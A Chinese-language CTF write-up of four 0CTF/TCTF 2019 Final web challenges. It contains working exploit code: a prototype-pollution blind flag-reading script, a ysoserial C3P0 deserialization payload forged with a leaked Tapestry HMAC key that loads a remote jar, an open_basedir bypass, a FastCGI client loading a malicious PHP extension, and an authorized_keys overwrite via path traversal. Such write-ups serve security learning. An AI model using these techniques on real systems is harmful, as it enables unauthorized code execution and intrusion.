0CTF/TCTF 2019 Final Web Writeup
背锅的一次比赛
114514
Improved Version Of RCTF2019 CALCALCALC
题目是在RCTF2019 CALCALCALC的基础上出的,相较于RCTF的题目,主要的变化有三个:
- 修复了时间盲注
- 将BSON换为了JSON
- 添加了计算表达式的限制
题目提供了一个数字表达式的计算,初始为:114+514
,并在typescript中加了限制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| validator: { validate(value: any, args: ValidationArguments) { const str = value ? value.toString() : ''; if (str.length === 0) { return false; } if (!(args.object as CalculateModel).isVip) { if (str.length >= args.constraints[0]) { return false; } } if (str !== "114+514") { return false; } return true; }, },
|
首先是对长度的限制,这一点与RCTF2019的相同,不多做阐述,详情参阅:RCTF2019 Official Writeup。
这里会使用toString
来校验我们的数据,由于提供的数据类型类型是any
,可以使用JSON数据进行原型链污染,从而绕过114+514
的校验,绕过方式为:
1
| {"expression":"1+1","__proto__":{"b":"114+514"}}
|
接下来便会接触到题目的计算逻辑,在题目中,会将我们expression
的数据分别传输至node
、php
、python
三种后端去计算结果,当返回结果一致时,才输出结果,如果结果不一致,则输出:That's classified information. - Asahina Mikuru
因此接下来需要找到一个能够同时在三种后端中生效的Payload
,这里我们可以使用注释来同时攻击python
与php
,再通过对大整数的不同解析
攻击node
。先给出Exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import requests import json import string
def brute(pos, val): data = """{"expression":"1//len('''\\n;if([1,0][10000000000000001 - 10000000000000000]){if(require('fs').readFileSync('/flag', 'utf8')[%d]=='%s'){'1';}else{'';} }else{1;}//''') or ['','1'][open('/flag').read()[%d]=='%s']","__proto__":{"b": "114+514"},"isVip": true}""" % (pos, val, pos, val) r = requests.post("http://192.168.201.16/calculate", data=data, headers = {'Content-Type': 'application/json'}) return r.text
flag = ''
for i in range(100): for c in string.printable: if ("ret" in brute(i, c)): flag += c print(flag) break
|
先将构造思路中的两个点拆开来说:
- 大整数的不同解析
- 对注释的不同解析
对大整数的不同解析
对大整数的不同解析
这个利用方式是从RCTF2018 cat.Rev2的writeup发现的利用方式:cats Rev. 2 Writeup by upbhack
在node中,由于其不支持大整数,因此在计算10000000000000001 - 10000000000000000
时,会返回0
,而在php和python中,则能够解析这两者,因此会返回1
,这里便可以通过10000000000000001 - 10000000000000000
的值来判断执行的语句,对应到我们的payload中便是:
1 2 3 4 5 6 7
| if([1,0][10000000000000001 - 10000000000000000]{ ... node ... }else{ // comment }
|
同时可以观察到,在else语句中我们使用了//
来将后面用于在php
和python
运行的语句注释掉了。
对注释的不同解析
有关于这一点,将我们的payload放入python和php的语法高亮规则中便能理解,在python中:
在php语法中:
在nodejs中:
如此便能同时攻击三个后端了
Tctf Hotel Booking System
这个题目也是最可惜的一个题目,由于粗心的问题,最为关键的gadget放在注释里却没有注意到,导致寻找gadget便用了十来个小时,关键是还没找到(x
题目是Apache Tapestry的一个demo,我们可以通过页面的一些信息找到一个近乎一致的demo:Demo
在题目中,我们可以发现一个文件下载的攻击点,这个攻击方式是通过assets的官方feature,我们打开题目时,观察其文件加载会发现类似于这种格式的路径:
1
| http://xxx/assets/(path)/(hash)/demo.jpg
|
其中,path是demo.jpg的路径,hash
是demo.jpg文件的hash值,通过这种方式,可以利用assets来加载文件,比如jpg静态文件,官方文档地址为:Click Here
在我们搭建好本地demo后,我们可以发现target下的目录结构为:
以AppModule.class
为例,路径便是:
1
| services/AppModule.class
|
而这个信息则需要串联一个较为神奇的点,在题目中,如果我们访问的文件的hash是不完整的,它会做一个自动跳转,比如我们访问:
1
| http://chall.ip/assets/xx/services/AppModule.class
|
它会由于hash的不正确,转而跳转至正确的hash路径:
1
| http://127.0.0.1:30125/assets/(correct hash)/services/AppModule.class
|
此时我们只需要将ip换为题目的ip便可以下载到对应的class文件。按照本地的class结构下载完class文件后,我们可以发现在AppModule.class
中对于HMAC
的设置被修改为了:
1
| configuration.add(SymbolConstants.HMAC_PASSPHRASE,"TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)");
|
在http://0.0.0.0:8080/index.searchform
提交的数据中,便存在一个反序列化的攻击点t:formdata
:
1
| t:formdata=P7crGfP9hcuUq9D5E5+kJLaAq8c=:H4sIAAAAAAAAAJWQsUrEQBRFn4HAQkRRtLDXdtbCbbRxEYSFIIFgLZPJM45MZmZnJibbWPkTNn6BbKVfsIWd/+AH2FhYWZhJGsFFsHucd+Ee7uM7hPUaRBOZY3M4rdDMwBoYKVMQqim7QuKoRuvMbESYMih4RjJqkYyzFlLmTjmKfDdFV+m980X0tv3yFcBKDBFT0hklzmiJDjbja3pDh4LKYpg6w2Vx1GgHYde4RGD8X4HEKIbWplVWcmu5kot5fnD5+fAaADS63oKNvsGo2mo0mhYIdgq3AA4iDxM0SQuXJ30wrNdhtX9Z3+K85/GfnkyVWkmUzpJOzP3WvE8/dp6f7k4CCGIYMMHb9CT3fX5DFFi2wG/YIb/ZoG+/2P9xfgP6pMxQxwEAAA==
|
其数据分为两部分,以冒号分割,前一部分为后一部分的HMAC码,后一部分为经过序列化的数据,编码规则为:
1
| base64_encode(gzencode(serial_data))
|
我们将这个数据按规则解开可以发现:
可以发现这确实是很明显的序列化数据。该数据的反序列化点则在于org.apache.tapestry5.corelib.components.Form$executeStoredActions
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| String[] values = request.getParameters(FORM_DATA);
if (!request.getMethod().equals("POST") || values == null) throw new RuntimeException(messages.format("core-invalid-form-request", FORM_DATA)); ...... try { ois = clientDataEncoder.decodeClientData(clientEncodedActions); while (!eventCallback.isAborted()) { String componentId = ois.readUTF(); boolean cancelAction = ois.readBoolean(); ComponentAction action = (ComponentAction) ois.readObject(); ......
|
接下来便是找一个gadget来触发反序列化,题目中提供的信息是C3P0,后续的链也是通过C3P0完成。在调试的时候,会发现直接使用ysoserial生成的payload在readUTF时是会报错的,需要我们在生成payload时writeUTF:
1 2 3
| oos.writeUTF("xxx"); oos.writeBoolean(false); oos.writeObject(expobject);
|
接下来,在ysoserial中新建一个测试样例,直接跑样例便可以了,附上测试样例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package ysoserial;
import org.apache.tapestry5.internal.TapestryInternalUtils; import org.apache.tapestry5.internal.services.ClientDataEncoderImpl; import org.apache.tapestry5.internal.services.URLEncoderImpl; import org.apache.tapestry5.internal.util.Base64InputStream; import org.apache.tapestry5.internal.util.MacOutputStream; import org.apache.tapestry5.services.ClientDataEncoder; import org.apache.tapestry5.services.ClientDataSink; import org.apache.tapestry5.services.URLEncoder; import ysoserial.payloads.ObjectPayload;
import javax.crypto.spec.SecretKeySpec; import java.io.ObjectOutputStream; import java.security.Key;
public class TapestryHotelBookingTest {
public static void main(String[] args) throws Exception{
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("C3P0"); final ObjectPayload payload = payloadClass.newInstance(); final Object expobject = payload.getObject("http://localhost:10000/Exploit.jar:Exploit");
URLEncoder urlEncoder = new URLEncoderImpl(); ClientDataEncoder cde = new ClientDataEncoderImpl(urlEncoder, "TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)", null, null, null); ClientDataSink cds = cde.createSink(); ObjectOutputStream oos = cds.getObjectOutputStream(); oos.writeUTF("orich1"); oos.writeBoolean(false);
oos.writeObject(expobject);
System.out.println(cds.getClientData()); } }
|
然后便可以愉快RCE了
Wallbreaker (Not Very) Hard
题目本身给出了一个swp文件泄漏,可以从中发现提供给选手的shell,连上之后,首先要做的便是绕过openbase_dir,这里绕过方式可以参考twitter前段时间公布的bypass方式,需要注意的一点是,由于需要先chdir到子目录,而html目录下是无权新建目录的,因此需要先chdir到tmp目录下:
1 2 3 4 5 6 7 8 9 10 11
| chdir("/tmp"); mkdir("a"); chdir("a"); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); var_dump(scandir("/"));
|
此时可以发现根目录下有readflag命令,我们需要通过执行readflag完成读取flag,也就是题目中所说的bypass disable_function。由于已经拿到了shell,因此可以攻击FastCGI,通过加载配置项尝试bypass,常规的bypass手法比如PHP_VALUE disable_function=
是不生效的,具体原因可以参见manual:
此时便需要找一个新的方式来调用系统命令。我们可以看到另两个参数:extension
、extension_dir
,可以通过这两个参数指定扩展路径及扩展名,从而在加载扩展时,完成RCE。
因此接下来的思路便是编译一份PHP扩展,通过扩展加载命令函数,完成RCE,关于fpm通信这个环节,可以参考Click Here
最终payload为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| class Client { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const RESPONDER = 1;
protected $keepAlive = false; protected $_requests = array(); protected $_requestCounter = 0;
protected function buildPacket($type, $content, $requestId = 1) { $offset = 0; $totLen = strlen($content); $buf = ''; do { $part = substr($content, $offset, 0xffff - 8); $segLen = strlen($part); $buf .= chr(self::VERSION_1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) . chr(($segLen >> 8) & 0xFF) . chr($segLen & 0xFF) . chr(0) . chr(0) . $part; $offset += $segLen; } while ($offset < $totLen); return $buf; }
protected function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { $nvpair = chr($nlen); } else { $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { $nvpair .= chr($vlen); } else { $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } return $nvpair . $name . $value; }
protected function readNvpair($data, $length = null) { if ($length === null) { $length = strlen($data); } $array = array(); $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; }
public function buildAllPacket(array $params, $stdin) { do { $this->_requestCounter++; if ($this->_requestCounter >= 65536 ) { $this->_requestCounter = 1; } $id = $this->_requestCounter; } while (isset($this->_requests[$id])); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value, $id); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id); } $request .= $this->buildPacket(self::PARAMS, '', $id); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin, $id); } $request .= $this->buildPacket(self::STDIN, '', $id);
return $request; } } $sock = stream_socket_client("unix:///run/php/U_wi11_nev3r_kn0w.sock", $errno, $errstr); $client = new Client(); $payload_file = "/tmp/payload.php"; $params = array( 'REQUEST_METHOD' => 'GET', 'SCRIPT_FILENAME' => $payload_file, 'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = a.so", ); $data = $client->buildAllPacket($params, ''); fwrite($sock, $data); var_dump(fread($sock, 4096));
|
babydb
题目给了源码和对应的可执行文件,主要思路便是审计源码找出漏洞,题目是用ocaml实现的一个web服务器。有以下几个路径:
1 2 3 4 5 6 7 8
| match handler with | "register" -> register req body args | "login" -> test_login req body args | "load" -> default_load req body args | "store" -> default_store req body args | "static" -> static req body args | "batch" -> batch req body args | _ -> unknown
|
跟入其对应的函数,可以发现在load
和store
功能中提供了单行读以及文件写功能。
可以通过先注册一个账号,随后通过batch登陆,再二次空用户名登陆之后,便能做到文件读和文件写,比如:
接下来便可以通过文件写,写入ssh所需的公钥,登陆即可。
1
| login?user?user:login??:store?../../.ssh/authorized_keys?ssh-rsa xxxxxxx
|